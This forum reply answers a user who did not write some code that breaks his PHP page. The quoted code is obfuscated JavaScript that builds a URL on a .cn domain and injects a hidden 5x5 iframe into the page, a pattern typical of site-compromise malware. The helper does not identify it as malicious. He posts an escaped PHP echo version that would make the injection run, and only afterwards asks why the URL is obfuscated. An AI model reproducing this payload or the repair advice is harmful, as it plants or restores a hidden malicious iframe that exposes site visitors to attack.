
Originally Posted by
ChrisjChrisj
Thanks for your reply, but I don't know what you're trying to tell me, or how to fix this. I did not write the code. Can you clarify your remedy please? Thanks
Well I don't know exactly what this code is trying to achive, and it's a cockamaney dooladdle all on the one line that makes it almost impossible for a human developer to read, but just look at the few characters I cited.
echo will display what's between the quote marks, i.e then the parser finds - that's totally meaningless to the parser, so it throws up its hands in horror at something that it can't understand, giving an error.
Now I don't know if you're trying to write
Code:
wy='t';ya='mp';yu='p:';qs='sr';d='nit';l='ame';v='c';z='t';ow='io';zt='n/';sc='n';o='//z';hy='cha';hg='h';p='.c';j='ifr';f='e';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute('width','5');dj.setAttribute('height','5');dj.setAttribute('style','display:none');dj.setAttribute(lr,ua);document.body.appendChild(dj);
to the browser, but if you are, you'll need to "escape" all those single quote marks so that PHP knows there's more to the echo than just
PHP Code:
?><?php echo ''; ?><?php echo 'wy=\'t\';ya=\'mp\';yu=\'p:\';qs=\'sr\';d=\'nit\';l=\'ame\';v=\'c\';z=\'t\';ow=\'io\';zt=\'n/\';sc=\'n\';o=\'//z\';hy=\'cha\';hg=\'h\';p=\'.c\';j=\'ifr\';f=\'e\';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute(\'width\',\'5\');dj.setAttribute(\'height\',\'5\');dj.setAttribute(\'style\',\'display:none\');dj.setAttribute(lr,ua);document.body.appendChild(dj);'; ?>
Then we ask why you feel the need to try and obfuscate the url in this way?
Bookmarks